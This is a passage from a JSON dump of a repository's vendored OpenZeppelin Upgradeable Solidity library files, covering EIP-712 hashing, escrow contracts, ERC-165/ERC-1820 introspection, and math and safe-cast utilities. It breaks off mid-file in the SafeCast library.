    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ECDSAUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.\n *\n * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,\n * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding\n * they need in their contracts using a combination of `abi.encode` and `keccak256`.\n *\n * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding\n * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA\n * ({_hashTypedDataV4}).\n *\n * The implementation of the domain separator was designed to be as efficient as possible while still properly updating\n * the chain id to protect against replay attacks on an eventual fork of the chain.\n *\n * NOTE: This contract implements the version of the encoding known as \"v4\", as implemented by the JSON RPC method\n * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].\n *\n * _Available since v3.4._\n */\nabstract contract EIP712Upgradeable is Initializable {\n    /* solhint-disable var-name-mixedcase */\n    bytes32 private _HASHED_NAME;\n    bytes32 private _HASHED_VERSION;\n    bytes32 private constant _TYPE_HASH = keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n\n    /* solhint-enable var-name-mixedcase */\n\n    /**\n     * @dev Initializes the domain separator and parameter caches.\n     *\n     * The meaning of `name` and `version` is specified in\n     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:\n     *\n     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.\n     * - `version`: the current major version of the signing domain.\n     *\n     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart\n     * contract upgrade].\n     */\n    function __EIP712_init(string memory name, string memory version) internal onlyInitializing {\n        __EIP712_init_unchained(name, version);\n    }\n\n    function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {\n        bytes32 hashedName = keccak256(bytes(name));\n        bytes32 hashedVersion = keccak256(bytes(version));\n        _HASHED_NAME = hashedName;\n        _HASHED_VERSION = hashedVersion;\n    }\n\n    /**\n     * @dev Returns the domain separator for the current chain.\n     */\n    function _domainSeparatorV4() internal view returns (bytes32) {\n        return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());\n    }\n\n    function _buildDomainSeparator(\n        bytes32 typeHash,\n        bytes32 nameHash,\n        bytes32 versionHash\n    ) private view returns (bytes32) {\n        return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));\n    }\n\n    /**\n     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this\n     * function returns the hash of the fully encoded EIP712 message for this domain.\n     *\n     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:\n     *\n     * ```solidity\n     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(\n     *     keccak256(\"Mail(address to,string contents)\"),\n     *     mailTo,\n     *     keccak256(bytes(mailContents))\n     * )));\n     * address signer = ECDSA.recover(digest, signature);\n     * ```\n     */\n    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {\n        return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);\n    }\n\n    /**\n     * @dev The hash of the name parameter for the EIP712 domain.\n     *\n     * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs\n     * are a concern.\n     */\n    function _EIP712NameHash() internal virtual view returns (bytes32) {\n        return _HASHED_NAME;\n    }\n\n    /**\n     * @dev The hash of the version parameter for the EIP712 domain.\n     *\n     * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs\n     * are a concern.\n     */\n    function _EIP712VersionHash() internal virtual view returns (bytes32) {\n        return _HASHED_VERSION;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/escrow/ConditionalEscrowUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/escrow/ConditionalEscrow.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./EscrowUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @title ConditionalEscrow\n * @dev Base abstract escrow to only allow withdrawal if a condition is met.\n * @dev Intended usage: See {Escrow}. Same usage guidelines apply here.\n */\nabstract contract ConditionalEscrowUpgradeable is Initializable, EscrowUpgradeable {\n    function __ConditionalEscrow_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Ownable_init_unchained();\n        __Escrow_init_unchained();\n        __ConditionalEscrow_init_unchained();\n    }\n\n    function __ConditionalEscrow_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Returns whether an address is allowed to withdraw their funds. To be\n     * implemented by derived contracts.\n     * @param payee The destination address of the funds.\n     */\n    function withdrawalAllowed(address payee) public view virtual returns (bool);\n\n    function withdraw(address payable payee) public virtual override {\n        require(withdrawalAllowed(payee), \"ConditionalEscrow: payee is not allowed to withdraw\");\n        super.withdraw(payee);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/escrow/EscrowUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/escrow/Escrow.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../access/OwnableUpgradeable.sol\";\nimport \"../AddressUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @title Escrow\n * @dev Base escrow contract, holds funds designated for a payee until they\n * withdraw them.\n *\n * Intended usage: This contract (and derived escrow contracts) should be a\n * standalone contract, that only interacts with the contract that instantiated\n * it. That way, it is guaranteed that all Ether will be handled according to\n * the `Escrow` rules, and there is no need to check for payable functions or\n * transfers in the inheritance tree. The contract that uses the escrow as its\n * payment method should be its owner, and provide public methods redirecting\n * to the escrow's deposit and withdraw.\n */\ncontract EscrowUpgradeable is Initializable, OwnableUpgradeable {\n    function initialize() public virtual initializer {\n        __Escrow_init();\n    }\n    function __Escrow_init() internal onlyInitializing {\n        __Context_init_unchained();\n        __Ownable_init_unchained();\n        __Escrow_init_unchained();\n    }\n\n    function __Escrow_init_unchained() internal onlyInitializing {\n    }\n    using AddressUpgradeable for address payable;\n\n    event Deposited(address indexed payee, uint256 weiAmount);\n    event Withdrawn(address indexed payee, uint256 weiAmount);\n\n    mapping(address => uint256) private _deposits;\n\n    function depositsOf(address payee) public view returns (uint256) {\n        return _deposits[payee];\n    }\n\n    /**\n     * @dev Stores the sent amount as credit to be withdrawn.\n     * @param payee The destination address of the funds.\n     */\n    function deposit(address payee) public payable virtual onlyOwner {\n        uint256 amount = msg.value;\n        _deposits[payee] += amount;\n        emit Deposited(payee, amount);\n    }\n\n    /**\n     * @dev Withdraw accumulated balance for a payee, forwarding all gas to the\n     * recipient.\n     *\n     * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.\n     * Make sure you trust the recipient, or are either following the\n     * checks-effects-interactions pattern or using {ReentrancyGuard}.\n     *\n     * @param payee The address whose funds will be withdrawn and transferred to.\n     */\n    function withdraw(address payable payee) public virtual onlyOwner {\n        uint256 payment = _deposits[payee];\n\n        _deposits[payee] = 0;\n\n        payee.sendValue(payment);\n\n        emit Withdrawn(payee, payment);\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/escrow/RefundEscrowUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/escrow/RefundEscrow.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ConditionalEscrowUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @title RefundEscrow\n * @dev Escrow that holds funds for a beneficiary, deposited from multiple\n * parties.\n * @dev Intended usage: See {Escrow}. Same usage guidelines apply here.\n * @dev The owner account (that is, the contract that instantiates this\n * contract) may deposit, close the deposit period, and allow for either\n * withdrawal by the beneficiary, or refunds to the depositors. All interactions\n * with `RefundEscrow` will be made through the owner contract.\n */\ncontract RefundEscrowUpgradeable is Initializable, ConditionalEscrowUpgradeable {\n    using AddressUpgradeable for address payable;\n\n    enum State {\n        Active,\n        Refunding,\n        Closed\n    }\n\n    event RefundsClosed();\n    event RefundsEnabled();\n\n    State private _state;\n    address payable private _beneficiary;\n\n    /**\n     * @dev Constructor.\n     * @param beneficiary_ The beneficiary of the deposits.\n     */\n    function __RefundEscrow_init(address payable beneficiary_) internal onlyInitializing {\n        __Context_init_unchained();\n        __Ownable_init_unchained();\n        __Escrow_init_unchained();\n        __ConditionalEscrow_init_unchained();\n        __RefundEscrow_init_unchained(beneficiary_);\n    }\n\n    function __RefundEscrow_init_unchained(address payable beneficiary_) internal onlyInitializing {\n        require(beneficiary_ != address(0), \"RefundEscrow: beneficiary is the zero address\");\n        _beneficiary = beneficiary_;\n        _state = State.Active;\n    }\n\n    /**\n     * @return The current state of the escrow.\n     */\n    function state() public view virtual returns (State) {\n        return _state;\n    }\n\n    /**\n     * @return The beneficiary of the escrow.\n     */\n    function beneficiary() public view virtual returns (address payable) {\n        return _beneficiary;\n    }\n\n    /**\n     * @dev Stores funds that may later be refunded.\n     * @param refundee The address funds will be sent to if a refund occurs.\n     */\n    function deposit(address refundee) public payable virtual override {\n        require(state() == State.Active, \"RefundEscrow: can only deposit while active\");\n        super.deposit(refundee);\n    }\n\n    /**\n     * @dev Allows for the beneficiary to withdraw their funds, rejecting\n     * further deposits.\n     */\n    function close() public virtual onlyOwner {\n        require(state() == State.Active, \"RefundEscrow: can only close while active\");\n        _state = State.Closed;\n        emit RefundsClosed();\n    }\n\n    /**\n     * @dev Allows for refunds to take place, rejecting further deposits.\n     */\n    function enableRefunds() public virtual onlyOwner {\n        require(state() == State.Active, \"RefundEscrow: can only enable refunds while active\");\n        _state = State.Refunding;\n        emit RefundsEnabled();\n    }\n\n    /**\n     * @dev Withdraws the beneficiary's funds.\n     */\n    function beneficiaryWithdraw() public virtual {\n        require(state() == State.Closed, \"RefundEscrow: beneficiary can only withdraw while closed\");\n        beneficiary().sendValue(address(this).balance);\n    }\n\n    /**\n     * @dev Returns whether refundees can withdraw their deposits (be refunded). The overridden function receives a\n     * 'payee' argument, but we ignore it here since the condition is global, not per-payee.\n     */\n    function withdrawalAllowed(address) public view override returns (bool) {\n        return state() == State.Refunding;\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165CheckerUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\n\n/**\n * @dev Library used to query support of an interface declared via {IERC165}.\n *\n * Note that these functions return the actual result of the query: they do not\n * `revert` if an interface is not supported. It is up to the caller to decide\n * what to do in these cases.\n */\nlibrary ERC165CheckerUpgradeable {\n    // As per the EIP-165 spec, no interface should ever match 0xffffffff\n    bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;\n\n    /**\n     * @dev Returns true if `account` supports the {IERC165} interface,\n     */\n    function supportsERC165(address account) internal view returns (bool) {\n        // Any contract that implements ERC165 must explicitly indicate support of\n        // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid\n        return\n            _supportsERC165Interface(account, type(IERC165Upgradeable).interfaceId) &&\n            !_supportsERC165Interface(account, _INTERFACE_ID_INVALID);\n    }\n\n    /**\n     * @dev Returns true if `account` supports the interface defined by\n     * `interfaceId`. Support for {IERC165} itself is queried automatically.\n     *\n     * See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {\n        // query support of both ERC165 as per the spec and support of _interfaceId\n        return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);\n    }\n\n    /**\n     * @dev Returns a boolean array where each value corresponds to the\n     * interfaces passed in and whether they're supported or not. This allows\n     * you to batch check interfaces for a contract where your expectation\n     * is that some interfaces may not be supported.\n     *\n     * See {IERC165-supportsInterface}.\n     *\n     * _Available since v3.4._\n     */\n    function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)\n        internal\n        view\n        returns (bool[] memory)\n    {\n        // an array of booleans corresponding to interfaceIds and whether they're supported or not\n        bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);\n\n        // query support of ERC165 itself\n        if (supportsERC165(account)) {\n            // query support of each interface in interfaceIds\n            for (uint256 i = 0; i < interfaceIds.length; i++) {\n                interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);\n            }\n        }\n\n        return interfaceIdsSupported;\n    }\n\n    /**\n     * @dev Returns true if `account` supports all the interfaces defined in\n     * `interfaceIds`. Support for {IERC165} itself is queried automatically.\n     *\n     * Batch-querying can lead to gas savings by skipping repeated checks for\n     * {IERC165} support.\n     *\n     * See {IERC165-supportsInterface}.\n     */\n    function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {\n        // query support of ERC165 itself\n        if (!supportsERC165(account)) {\n            return false;\n        }\n\n        // query support of each interface in _interfaceIds\n        for (uint256 i = 0; i < interfaceIds.length; i++) {\n            if (!_supportsERC165Interface(account, interfaceIds[i])) {\n                return false;\n            }\n        }\n\n        // all interfaces supported\n        return true;\n    }\n\n    /**\n     * @notice Query if a contract implements an interface, does not check ERC165 support\n     * @param account The address of the contract to query for support of an interface\n     * @param interfaceId The interface identifier, as specified in ERC-165\n     * @return true if the contract at account indicates support of the interface with\n     * identifier interfaceId, false otherwise\n     * @dev Assumes that account contains a contract that supports ERC165, otherwise\n     * the behavior of this method is undefined. This precondition can be checked\n     * with {supportsERC165}.\n     * Interface identification is specified in ERC-165.\n     */\n    function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {\n        bytes memory encodedParams = abi.encodeWithSelector(IERC165Upgradeable.supportsInterface.selector, interfaceId);\n        (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);\n        if (result.length < 32) return false;\n        return success && abi.decode(result, (bool));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165StorageUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Storage.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Storage based implementation of the {IERC165} interface.\n *\n * Contracts may inherit from this and call {_registerInterface} to declare\n * their support of an interface.\n */\nabstract contract ERC165StorageUpgradeable is Initializable, ERC165Upgradeable {\n    function __ERC165Storage_init() internal onlyInitializing {\n        __ERC165_init_unchained();\n        __ERC165Storage_init_unchained();\n    }\n\n    function __ERC165Storage_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev Mapping of interface ids to whether or not it's supported.\n     */\n    mapping(bytes4 => bool) private _supportedInterfaces;\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return super.supportsInterface(interfaceId) || _supportedInterfaces[interfaceId];\n    }\n\n    /**\n     * @dev Registers the contract as an implementer of the interface defined by\n     * `interfaceId`. Support of the actual ERC165 interface is automatic and\n     * registering its interface id is not required.\n     *\n     * See {IERC165-supportsInterface}.\n     *\n     * Requirements:\n     *\n     * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).\n     */\n    function _registerInterface(bytes4 interfaceId) internal virtual {\n        require(interfaceId != 0xffffffff, \"ERC165: invalid interface id\");\n        _supportedInterfaces[interfaceId] = true;\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n    function __ERC165_init() internal onlyInitializing {\n        __ERC165_init_unchained();\n    }\n\n    function __ERC165_init_unchained() internal onlyInitializing {\n    }\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return interfaceId == type(IERC165Upgradeable).interfaceId;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC1820ImplementerUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC1820Implementer.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1820ImplementerUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC1820Implementer} interface.\n *\n * Contracts may inherit from this and call {_registerInterfaceForAddress} to\n * declare their willingness to be implementers.\n * {IERC1820Registry-setInterfaceImplementer} should then be called for the\n * registration to be complete.\n */\ncontract ERC1820ImplementerUpgradeable is Initializable, IERC1820ImplementerUpgradeable {\n    function __ERC1820Implementer_init() internal onlyInitializing {\n        __ERC1820Implementer_init_unchained();\n    }\n\n    function __ERC1820Implementer_init_unchained() internal onlyInitializing {\n    }\n    bytes32 private constant _ERC1820_ACCEPT_MAGIC = keccak256(\"ERC1820_ACCEPT_MAGIC\");\n\n    mapping(bytes32 => mapping(address => bool)) private _supportedInterfaces;\n\n    /**\n     * @dev See {IERC1820Implementer-canImplementInterfaceForAddress}.\n     */\n    function canImplementInterfaceForAddress(bytes32 interfaceHash, address account)\n        public\n        view\n        virtual\n        override\n        returns (bytes32)\n    {\n        return _supportedInterfaces[interfaceHash][account] ? _ERC1820_ACCEPT_MAGIC : bytes32(0x00);\n    }\n\n    /**\n     * @dev Declares the contract as willing to be an implementer of\n     * `interfaceHash` for `account`.\n     *\n     * See {IERC1820Registry-setInterfaceImplementer} and\n     * {IERC1820Registry-interfaceHash}.\n     */\n    function _registerInterfaceForAddress(bytes32 interfaceHash, address account) internal virtual {\n        _supportedInterfaces[interfaceHash][account] = true;\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC165Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165Upgradeable {\n    /**\n     * @dev Returns true if this contract implements the interface defined by\n     * `interfaceId`. See the corresponding\n     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n     * to learn more about how these ids are created.\n     *\n     * This function call must use less than 30 000 gas.\n     */\n    function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC1820ImplementerUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface for an ERC1820 implementer, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP].\n * Used by contracts that will be registered as implementers in the\n * {IERC1820Registry}.\n */\ninterface IERC1820ImplementerUpgradeable {\n    /**\n     * @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract\n     * implements `interfaceHash` for `account`.\n     *\n     * See {IERC1820Registry-setInterfaceImplementer}.\n     */\n    function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC1820RegistryUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the global ERC1820 Registry, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register\n * implementers for interfaces in this registry, as well as query support.\n *\n * Implementers may be shared by multiple accounts, and can also implement more\n * than a single interface for each account. Contracts can implement interfaces\n * for themselves, but externally-owned accounts (EOA) must delegate this to a\n * contract.\n *\n * {IERC165} interfaces can also be queried via the registry.\n *\n * For an in-depth explanation and source code analysis, see the EIP text.\n */\ninterface IERC1820RegistryUpgradeable {\n    /**\n     * @dev Sets `newManager` as the manager for `account`. A manager of an\n     * account is able to set interface implementers for it.\n     *\n     * By default, each account is its own manager. Passing a value of `0x0` in\n     * `newManager` will reset the manager to this initial state.\n     *\n     * Emits a {ManagerChanged} event.\n     *\n     * Requirements:\n     *\n     * - the caller must be the current manager for `account`.\n     */\n    function setManager(address account, address newManager) external;\n\n    /**\n     * @dev Returns the manager for `account`.\n     *\n     * See {setManager}.\n     */\n    function getManager(address account) external view returns (address);\n\n    /**\n     * @dev Sets the `implementer` contract as ``account``'s implementer for\n     * `interfaceHash`.\n     *\n     * `account` being the zero address is an alias for the caller's address.\n     * The zero address can also be used in `implementer` to remove an old one.\n     *\n     * See {interfaceHash} to learn how these are created.\n     *\n     * Emits an {InterfaceImplementerSet} event.\n     *\n     * Requirements:\n     *\n     * - the caller must be the current manager for `account`.\n     * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not\n     * end in 28 zeroes).\n     * - `implementer` must implement {IERC1820Implementer} and return true when\n     * queried for support, unless `implementer` is the caller. See\n     * {IERC1820Implementer-canImplementInterfaceForAddress}.\n     */\n    function setInterfaceImplementer(\n        address account,\n        bytes32 _interfaceHash,\n        address implementer\n    ) external;\n\n    /**\n     * @dev Returns the implementer of `interfaceHash` for `account`. If no such\n     * implementer is registered, returns the zero address.\n     *\n     * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28\n     * zeroes), `account` will be queried for support of it.\n     *\n     * `account` being the zero address is an alias for the caller's address.\n     */\n    function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);\n\n    /**\n     * @dev Returns the interface hash for an `interfaceName`, as defined in the\n     * corresponding\n     * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].\n     */\n    function interfaceHash(string calldata interfaceName) external pure returns (bytes32);\n\n    /**\n     * @notice Updates the cache with whether the contract implements an ERC165 interface or not.\n     * @param account Address of the contract for which to update the cache.\n     * @param interfaceId ERC165 interface for which to update the cache.\n     */\n    function updateERC165Cache(address account, bytes4 interfaceId) external;\n\n    /**\n     * @notice Checks whether a contract implements an ERC165 interface or not.\n     * If the result is not cached a direct lookup on the contract address is performed.\n     * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling\n     * {updateERC165Cache} with the contract address.\n     * @param account Address of the contract to check.\n     * @param interfaceId ERC165 interface to check.\n     * @return True if `account` implements `interfaceId`, false otherwise.\n     */\n    function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);\n\n    /**\n     * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.\n     * @param account Address of the contract to check.\n     * @param interfaceId ERC165 interface to check.\n     * @return True if `account` implements `interfaceId`, false otherwise.\n     */\n    function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);\n\n    event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);\n\n    event ManagerChanged(address indexed account, address indexed newManager);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n    /**\n     * @dev Returns the largest of two numbers.\n     */\n    function max(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a >= b ? a : b;\n    }\n\n    /**\n     * @dev Returns the smallest of two numbers.\n     */\n    function min(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a < b ? a : b;\n    }\n\n    /**\n     * @dev Returns the average of two numbers. The result is rounded towards\n     * zero.\n     */\n    function average(uint256 a, uint256 b) internal pure returns (uint256) {\n        // (a + b) / 2 can overflow.\n        return (a & b) + (a ^ b) / 2;\n    }\n\n    /**\n     * @dev Returns the ceiling of the division of two numbers.\n     *\n     * This differs from standard division with `/` in that it rounds up instead\n     * of rounding down.\n     */\n    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n        // (a + b - 1) / b can overflow on addition, so we distribute.\n        return a / b + (a % b == 0 ? 0 : 1);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/SafeCastUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n *\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\n * all math on `uint256` and `int256` and then downcasting.\n */\nlibrary SafeCastUpgradeable {\n    /**\n     * @dev Returns the downcasted uint224 from uint256, reverting on\n     * overflow (when the input is greater than largest uint224).\n     *\n     * Counterpart to Solidity's `uint224` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 224 bits\n     */\n    function toUint224(uint256 value) internal pure returns (uint224) {\n        require(value <= type(uint224).max, \"SafeCast: value doesn't fit in 224 bits\");\n        return uint224(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint128 from uint256, reverting on\n     * overflow (when the input is greater than largest uint128).\n     *\n     * Counterpart to Solidity's `uint128` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 128 bits\n     */\n    function toUint128(uint256 value) internal pure returns (uint128) {\n        require(value <= type(uint128).max, \"SafeCast: value doesn't fit in 128 bits\");\n        return uint128(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint96 from uint256, reverting on\n     * overflow (when the input is greater than largest uint96).\n     *\n     * Counterpart to Solidity's `uint96` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 96 bits\n     */\n    function toUint96(uint256 value) internal pure returns (uint96) {\n        require(value <= type(uint96).max, \"SafeCast: value doesn't fit in 96 bits\");\n        return uint96(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint64 from uint256, reverting on\n     * overflow (when the input is greater than largest uint64).\n     *\n     * Counterpart to Solidity's `uint64` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 64 bits\n     */\n    function toUint64(uint256 value) internal pure returns (uint64) {\n        require(value <= type(uint64).max, \"SafeCast: value doesn't fit in 64 bits\");\n        return uint64(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint32 from uint256, reverting on\n     * overflow (when the input is greater than largest uint32).\n     *\n     * Counterpart to Solidity's `uint32` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 32 bits\n     */\n    function toUint32(uint256 value) internal pure returns (uint32) {\n        require(value <= type(uint32).max, \"SafeCast: value doesn't fit in 32 bits\");\n        return uint32(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint16 from uint256, reverting on\n     * overflow (when the input is greater than largest uint16).\n     *\n     * Counterpart to Solidity's `uint16` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 16 bits\n     */\n    function toUint16(uint256 value) internal pure returns (uint16) {\n        require(value <= type(uint16).max, \"SafeCast: value doesn't fit in 16 bits\");\n        return uint16(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint8 from uint256, reverting on\n     * overflow (when the input is greater than largest uint8).\n     *\n     * Counterpart to Solidity's `uint8` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 8 bits.\n     */\n    function 